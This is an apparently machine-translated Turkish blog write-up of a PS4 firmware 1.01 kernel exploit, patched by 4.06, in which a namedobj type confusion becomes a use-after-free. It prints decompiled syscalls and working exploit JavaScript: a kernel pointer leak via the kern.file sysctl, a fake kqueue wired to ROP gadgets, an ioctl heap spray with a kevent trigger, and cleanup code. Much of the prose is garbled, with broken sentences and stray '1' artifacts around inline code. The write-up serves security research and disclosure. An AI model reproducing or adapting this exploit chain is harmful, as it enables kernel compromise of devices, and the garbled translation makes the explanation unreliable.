İlk PS4 Kernel Exploiti: Adieu

PS4’te çalışan Linux’u ilk gösterdiğimizden bu yana çok zaman geçti.

Şimdi biraz geriye çekeceğiz ve tarayıcı işleminden nasıl çekirdeğe atladığımızı açıklayacağız, böylece ps4-kexec ve ark. kullanılabilirler.

Zamanla, ps4 ürün bilgisi revizyonları aşamalı olarak pek çok hafifletme eklemiş ve genel olarak sistemi kilitlemeye çalışmıştır. Bu yazı çoğunlukla en son çıkan yayınlarda bulunmayan güvenlik açıklarına ve konulara değinecek, ancak yine de ps4 güvenliğini araştırmak isteyen kişiler için yararlı olacaktır.

Güvenlik Açığı Keşfi

Daha önce açıklandığı gibi, bir PCIe man-in-the-middle saldırısı ile ps4 firmware 1.01 çekirdeğinin dökümünü elde edebildik. Tüm FreeBSD çekirdeklerinde olduğu gibi bu resim de “export symbols” (çekirdek ve modül başlatma işlemlerini gerçekleştirmek için gerekli semboller) içeriyordu. Bununla birlikte, ps4 1.01 çekirdeği tam ELF simgelerini de içeriyordu (açıkçası daha sonraki firmware sürümlerinde kaldırıldıklarından dolayı bir gözetim). Bu gözetim ters mühendislik sürecinde faydalı oldu, elbette ki gerçek bir önkoşul olmamasına rağmen. Nitekim, sistem çağrımı işleyici tablosu biçiminde yerleşik meta verileri inceleyerek – çekirdek bölümünü inceleyerek – ps4’e özel girdilere odaklanarak – başladık.

Bazı yapıların kurtarılmasından sonra, ps4’e özgü sistem çağrılarının büyük bir bölümünün aslında bir karma tablo API’sinin sarmalayıcılarından biraz daha fazla olduğunu keşfettik. API aşağıdaki arayüzü içerir:

enum IDT_TYPE : u16 {
    IDT_TYPE_EPORT = 0x30,
    IDT_TYPE_SBLOCK = 0x40,
    IDT_TYPE_EVF = 0x110,
    IDT_TYPE_OSEM = 0x120,
    IDT_TYPE_BUDGET = 0x2000,
    IDT_TYPE_NAMEDOBJ_DBG = 0x5000,
};
struct id_entry {
    struct sx *sxlock;
    char *name;
    void *ptr;
    u64 tid;
    IDT_TYPE kind;
    u16 is_open;
    u16 handle;
    u16 state;
};
struct idt_bucket {
    struct id_entry entries[128];
};
struct id_table {
    struct idt_bucket[64];
    struct mtx mutex;
    u32 num_buckets;
    u32 cur_handle;
    u32 max_entries;
};
id_table *id_table_create(int max_entries);
void id_table_destroy(id_table *idt);
int id_alloc(id_table *idt, id_entry **ide);
void id_set(id_entry *ide, IDT_TYPE kind, void *data, char *name);
void id_set_open(id_entry *ide, IDT_TYPE kind, void *data, char *name);
int id_is_opened(id_entry *ide);
void id_free(id_table *idt, int handle, id_entry *ide);
void id_unlock(id_entry *ide);
void *id_rlock(id_table *idt, signed int index, IDT_TYPE kind, id_entry **ide);
void *id_rlock_name(id_table *idt, IDT_TYPE kind, char *name, id_entry **ide);
void *id_wlock(id_table *idt, signed int index, IDT_TYPE kind, id_entry **ide);

Çekirdekteki her işlem nesnesi, kendi “idt” (Kimlik Tablosu) nesnesini içerir. Yukarıdaki snippet’ten anlaşılacağı üzere, hash tablosu esasen yalnızca belirli bir kindve ile birlikte opak veri bloğuna işaretçiler saklar name. Girişler, okuma veya yazma niyeti ile erişilebilir (dolayısıyla “kilitli”) olabilir.

Not IDT_TYPEolduğu değil bu Kontrol edebileceğimiz eğer anlamına gelir 2’nin yalnızca benzersiz güçler oluşan bir saklayıcısında kindbir bölgesinin id_entry, biz (biz kontrol edebilir varsayılır gerçekleşmesi bir tür karışıklığa neden mümkün olabilir name). Tabii ki, sistem kindkökü aracılığıyla usermode’tan ayarlanabilir namedobj_create:

struct namedobj_usr_t {
    char *name;
    void *object;
    u64 field_10;
};
int sys_namedobj_create(struct thread *td, void *args) {
  MACRO_EPERM rv; // ebx
  int kind; // er14
  id_table *idt; // r12
  char *name; // r13
  namedobj_usr_t *no; // rbx
  int handle; // er15
  id_entry *ide; // [rsp+8h] [rbp-38h]
  __int64 v10; // [rsp+10h] [rbp-30h]

  rv = EINVAL;
  if ( *(_QWORD *)args ) {
    // Note this is almost completely usermode-controlled!
    kind = *((_DWORD *)args + 4) | 0x1000;
    idt = td->td_proc->sce_idt;
    name = (char *)malloc(0x20uLL, &M_NAME, 2);
    rv = copyinstr(*(const void **)args, name, 0x20uLL, 0LL);
    if ( rv ) {
      free(name, &M_NAME);
    } else {
      no = (namedobj_usr_t *)malloc(0x18uLL, &M_NAME, 2);
      no->name = name;
      no->object = *((_QWORD *)args + 1);
      handle = id_alloc(idt, &ide);
      if ( handle == -1 ) {
        free(name, &M_NAME);
        free(no, &M_NAME);
        rv = EAGAIN;
      } else {
        id_set(ide, (IDT_TYPE)kind, no, name);
        id_unlock(ide);
        td->td_retval[0] = handle;
        rv = 0;
      }
    }
  }
  return rv;
}

Şimdi çekirdeğe erişebilir ve yanlış Sürecimizle bir nesne kullanmak için yöneticiyiz IDT (tarayıcı işlemi yani) için bir yol bulmalıyız kindarasında 0x1000 belirlenen bit başka bir numara artı. Bu, aşağıdaki kodda bulundu:

struct namedobj_dbg_t {
    u32 field_0;
    u32 _pad_4; // compiler-inserted alignment
    u64 field_8;
    u64 field_10;
    u64 field_18;
    u64 field_20;
};
int namedobj_create_ex(id_table *idt, char *name, u32 a3, u64 a4, u64 a5, u64 a6, u64 a7) {
  namedobj_dbg_t *no_exists; // rax
  int rv; // er13
  id_entry *ide_existing; // [rsp+20h] [rbp-40h]

  rv = EAGAIN;
  no_exists = (namedobj_dbg_t *)id_rlock_name(idt, IDT_TYPE_NAMEDOBJ_DBG, name, &ide_existing);
  if ( no_exists )
  {
    no_exists->field_0 = a3;
    no_exists->field_8 = a4;
    no_exists->field_10 = a5;
    no_exists->field_18 = a6;
    no_exists->field_20 = a7;
    id_unlock(ide_existing);
    rv = 0;
  }
  // ... unrelated code removed
  return rv;
}

… mdbg_servicesistem çağrısından erişilebilir :

struct mdbg_service_arg1 {
    u32 field_0;
    u64 field_4;
    u64 field_8;
    u64 field_10;
    u64 field_18;
    u64 field_20;
    char name[32];
};
int sys_mdbg_service(struct thread *td, void *args) {
  signed int rv; // ebx
  void *uptr; // r14
  mdbg_service_arg1 cmd_1; // [rsp+18h] [rbp-68h]

  rv = 78;
  uptr = (void *)*((_QWORD *)args + 1);
  switch ( (unsigned __int64)*(unsigned int *)args ) {
    // ... unrelated code removed
    case 1uLL:
      rv = copyin(uptr, &cmd_1, 0x48uLL);
      if ( rv )
        break;
      cmd_1.name[31] = 0;
      rv = namedobj_create_ex(
             td->td_proc->sce_idt,
             cmd_1.name,
             cmd_1.field_4,
             cmd_1.field_8,
             cmd_1.field_10,
             cmd_1.field_18,
             cmd_1.field_20);
      break;
      // ... unrelated code removed
  }
  return rv;
}

Bu sistem çağrılarının kombinasyonunu kullanarak, bir tür karışıklık yaratabiliriz. Birincisi, çağrı namedobj_create(name = “haxplz”, kind = 0x1000 | 0x4000, …), çekirdeğin namedobj_usr_tidt tipi bir işaretçi ayarlamasına neden olacaktır . Ardından, arama namedobj_create_ex(name = “haxplz”, …), çekirdeğin aynı işaretçiye erişmesine neden olur, ancak onu tipe atar namedobj_dbg_t!

Exploitation

PS4 arka planı olmayan bir sömürücü için, bu hatadan yararlanmak için en kolay yol, malloc’lu namedobj_usr_tnesnenin sonuna yazma özelliğinden yararlanmaktır . Bununla birlikte, (bildiğim kadarıyla) imkansız olduğu ortaya çıkıyor, çünkü ps4 sayfa boyutunun bir yan etkisi 0x4000 bayt olarak değiştiriliyor (0x1000 normalinden). Sayfa boyutunu küresel olarak değiştirmek için ps4 çekirdek geliştiricileri, ilgili makroları doğrudan değiştirmeyi seçti . Bundan kaynaklanan birçok değişiklikten biri, malloc’un bir arayan kişiye geri verebileceği en küçük gerçek bellek miktarının 0x40 bayt olmasıdır . Bu aynı zamanda tonlarca hafızanın tamamen boşa gitmesine neden olsa da, bazı exploit tekniklerini (muhtemelen tamamen kazayla …) geçersiz kılmak için kullanılır.

UAF Yapımı

Bu türden karışıklığı kullanmak için seçilen yol aslında onu bir ücretsiz kullanım senaryosuna dönüştürmekti. Bu, namedobj_delete sistem çağrısı yardımıyla yapıldı :

int sys_namedobj_delete(struct thread *td, void *args)
{
  struct proc *p; // rax
  id_table *idt; // r15
  namedobj_usr_t *no; // r14
  int rv; // eax
  id_entry *id_out; // [rsp+8h] [rbp-28h]

  p = td->td_proc;
  idt = p->sce_idt;
  no = (namedobj_usr_t *)id_wlock(
                           p->sce_idt,
                           *(_DWORD *)args,
                           (IDT_TYPE)(*((_WORD *)args + 4) & ~0x1000 | 0x1000),
                           &id_out);
  rv = ESRCH;
  if ( no )
  {
    id_free(idt, *(_DWORD *)args, id_out);
    id_unlock(id_out);
    free(no->name, &M_NAME);
    free(no, &M_NAME);
    rv = 0;
  }
  return rv;
}

Karmaşa türü, bir 

1
namedobj_usr_t

nesneyi bir 

1
namedobj_dbg_t

birine atamamıza ve ardından tüm 

1
namedobj_dbg_t

alanları güncellememize izin verdiğini unutmayın . Bu, yalnızca gerçek 

1
namedobj_usr_t

 nesnenin sonunu yazmamıza izin vermekle kalmıyor aynı 

1
namedobj_usr_t.name

 zamanda tüm diğer 

1
namedobj_usr_t

alanların altındaki 32bit işaretçiye yazma imkânı tanıyor . Aslında alttaki 32 bit’leri güncelleyebileceğimiz gerçeği 

1
namedobj_usr_t.name

aslında (bu yazı için çok önemli değil de) kılık değiştirmiş bir nimettir.

Böylece, sahip olduğumuz ilkel primitive’yi 

1
free()

, en üstteki 32 bit’leri paylaşan herhangi bir çekirdek adresine izin veriyoruz 

1
no->name

. Bu, serbest bırakılacak herhangi bir malloc’lu işaretçiyi seçebiliriz demektir – yalnızca bir şekilde bir işaretçiyi bulmamız gerekiyor: Açıkçası, böyle bir işaretçi, onu serbest bırakıp ve desteklemeyi yeniden tahsis ettikten sonra güzel bir şekilde kullanılabilmelidir bellek.

Bir UAF Hedefi Bulma

Bu FreeBSD ile ilk çalışmamdan bu yana, tarayıcı işleminin adresini bir şekilde türetebileceğim bazı işlev işaretçileri içeren bazı çekirdek nesnelerini aradım. Firmware 1.01’de bu inanılmaz derecede kolay çıktı:

sysctlbyname("kern.file", ...)

çekirdeklerin kullanıcı alanı dosya tanımlayıcılarını yönetmek için kullandığı dosya nesneleri ile ilgili çeşitli çekirdek adresleri verecektir. Exploit kodundan:

constructor.prototype.getFileDescriptorKernelDataPtr = function(fd) {
    var fd_xf_data = 0;
    sys.getSysCtlByName('kern.file', function(oldp, oldlen) {
        var pid = sys.getCurrentProcessId();
        var file_size = read64(oldp).lo;
        var num_files = oldlen / file_size;
        for (var i = 0; i < num_files; i++) {
            var xf_pid = read32(oldp.plus(i * file_size + 0x08));
            var xf_fd = read32(oldp.plus(i * file_size + 0x10));
            var xf_data = read64(oldp.plus(i * file_size + 0x38));
            if (xf_pid == pid && xf_fd == fd) {
                fd_xf_data = xf_data;
                return;
            }
        }
    });
    return fd_xf_data;
}

Javascript’de bir çekirdek 

1
file.f_data

değeri ( 

1
fd

sizin kontrolünüzde). Nesnenin gösterdiği nesne 

1
file.f_data

türü, hangi dosya tanımlayıcısı türüne bağlıdır. 

1
kqueue

Bu, işlev işaretçileri içeren bir hedef nesnenin amacımı yerine getirdiğinde kullandım . Fikri, a’nın üzerine yazılmak 

1
kqueue

ve daha sonra 

1
kq-&gt;kq_knlist-&gt;kn_knlist

bir rop zincirine işaret edecek olan işlev işaretçilerinden birinin çalıştırılmasına neden olacak. Notlar 

1
kq_knlist

ve 

1
kn_knlist

listeler (adları devlet olarak), standart işaretçiler değildir.

Birlikte Yapmak
// finalize the ropchain and invoke it
constructor.prototype.trigger_kqueue = function() {
    var fakefd = callFunc(syms.libkernel.kqueue).lo;
    var filep = this.leaks.getFileDescriptorKernelDataPtr(fakefd);

    var rop_scratch_len = 0;
    var data_buf_len = this.kqueue_sizeof + this.klist_sizeof + this.knote_sizeof +
        this.filterops_sizeof + this.knlist_sizeof + this.jmpbuf_sizeof + rop_scratch_len;
    var data_buf = allocateGCMemory(data_buf_len);
    clearMemory(data_buf, data_buf_len);

    var fakekq      = data_buf;
    var kl          = fakekq.plus(this.kqueue_sizeof);
    var kn          = kl.plus(this.klist_sizeof);
    var fop         = kn.plus(this.knote_sizeof);
    var knl         = fop.plus(this.filterops_sizeof);
    var jmpbuf      = knl.plus(this.knlist_sizeof);
    var rop_scratch = jmpbuf.plus(this.jmpbuf_sizeof);

    // finalize ropchain
    this.emitReturnViaJmpbuf(jmpbuf);

    // create fake kq to execute the ropchain
    var rop_stack = this.rop.getRopStack();
    write64(jmpbuf.plus(0x48), rop_scratch);   // rdi
    write64(jmpbuf.plus(0x60), 0);             // rcx (why?)
    write64(jmpbuf.plus(0xe0), gadgets.ret);   // next rip
    write64(jmpbuf.plus(0xf8), rop_stack);     // rsp

    // longjmp_tail needs at least 1 stack slot to push next rip onto
    write64(knl.plus(0x08), gadgets.ret);           // kl_lock
    write64(knl.plus(0x10), gadgets.longjmp_tail);  // kl_unlock
    write64(knl.plus(0x18), gadgets.ret);           // kl_assert_locked
    write64(knl.plus(0x20), gadgets.ret);           // kl_assert_unlocked
    write64(knl.plus(0x28), jmpbuf);                // kl_lockarg (passed as rdi to the above funcptrs)

    write32(fop, 1);                        // f_isfd = 1
    write64(fop.plus(0x18), gadgets.ret0);  // f_event = {ret 0}

    write64(kn.plus(0x10), knl);                // kn_knlist
    write32(kn.plus(0x38), this.EVFILT_READ);   // kn_filter = EVFILT_READ (16bit)
    write32(kn.plus(0x50), 2);                  // kn_status = KN_QUEUED
    write64(kn.plus(0x68), fop);                // kn_fop

    write64(kl, kn); // slh_first = &kn

    this.writeFakeMtx(fakekq.plus(0));  // kq_lock
    write32(fakekq.plus(0xa4), 1);      // kq_knlistsize = 1
    write64(fakekq.plus(0xa8), kl);     // kq_knlist = &kl

    var change = allocateGCMemory(this.kevent_sizeof);
    clearMemory(change, this.kevent_sizeof);
    write32(change.plus(8), this.EVFILT_READ);

    // free, try to fill the buffer, then cause it to be used
    this.kernelFree(filep);
    this.ioctlSpray(fakekq, this.kqueue_sizeof);
    callFunc(syms.libkernel.kevent, fakefd, change, 1, 0, 0, 0);

    // safe as long as injected code has fixed the corrupted kqueue
    callFunc(syms.libkernel.close, fakefd);
}

Yukarıda kqueueUAF ilkelini (via kernelFree()) basitçe çağırarak gerçekleştirdikten sonra çekirdeğe püskürtülen kullanıcı alanındaki bir nesnenin oluşturulması gösterilmektedir ioctl(). Spreyden sonra, sistem nesnesini kevent()bozuk filenesne ile ilgili fd ile çalıştırmak, çekirdeğin , ROP zincirinin yürütmesini başlatacak olan kqueuenesnenin kl_unlockişlev imlecini çağırmasına neden olacaktır.

Temizlemek

Bu exploit file, tarayıcının dosya tanımlayıcı tablosunda bozuk bir nesne bıraktığından , çekirdeğin yüklenmesinin yapması gereken ilk şey aslında bozulmayı kaldırmaktır. Aksi halde, çekirdek sonunda panik yapacaktır (normalde sürecin dosya tanıtıcı tablosunu close() hepsini denemek için tekrar ederken). Bu kolay aşağıdaki ile yapılabilir:

void fix_corrupted_kqueue(struct thread *td) {
    // This method prevents the kernel from crashing (most of the time), but
    // the process will sigsegv when exiting.
    // blog note:
    //   I actually no longer remember if the above comment is true.
    //   I always kexec directly to linux so it doesn't matter to me :)
    struct filedesc *fdp = td->td_proc->p_fd;
    for (int fd = 0; fd < fdp->fd_nfiles; fd++) {
        struct file *fp = fdp->fd_ofiles[fd];
        if (fp && fp->f_type == DTYPE_KQUEUE) {
            struct kqueue *kq = fp->f_data;
            if ((uintptr_t)kq->kq_knlist < VM_USER_MAX) {
                // found the bad one...kill it
                SLIST_REMOVE(&fdp->fd_kqlist, kq, kqueue, kq_list);
                fdp->fd_ofiles[fd] = NULL;
                fdp->fd_ofileflags[fd] = 0;
                return;
            }
        }
    }
}
...
fix_corrupted_kqueue(curthread());
Adieu

Namedobj exploiti, firmware sürümü 4.06’da düzeltilinceye kadar mevcuttu ve açıklanmıştır (burada açıklananlardan biraz daha farklı bir yöntem kullanıyor olmasına rağmen). Bu güvenlik açığı Chaitin Tech tarafından bulundu (en azından) tarafından sömürüldü , onlara sahne aldı! 4.07 çekirdeğine hızlıca baktığımızda, basit bir düzeltme görebiliriz (4,06’nın özdeş olduğu varsayılmıştır – bu yazıyı yazarken yalnızca 0,47 vardı):

int sys_namedobj_create(struct thread *td, void *args) {
  // ...
  rv = EINVAL;
  kind = *((_DWORD *)args + 4)
  if ( !(kind & 0x4000) && *(_QWORD *)args ) {
    // ... (unchanged)
  }
  return rv;
}

Ve bu yüzden güzel bir exploite elveda deriz.

Yorum yapın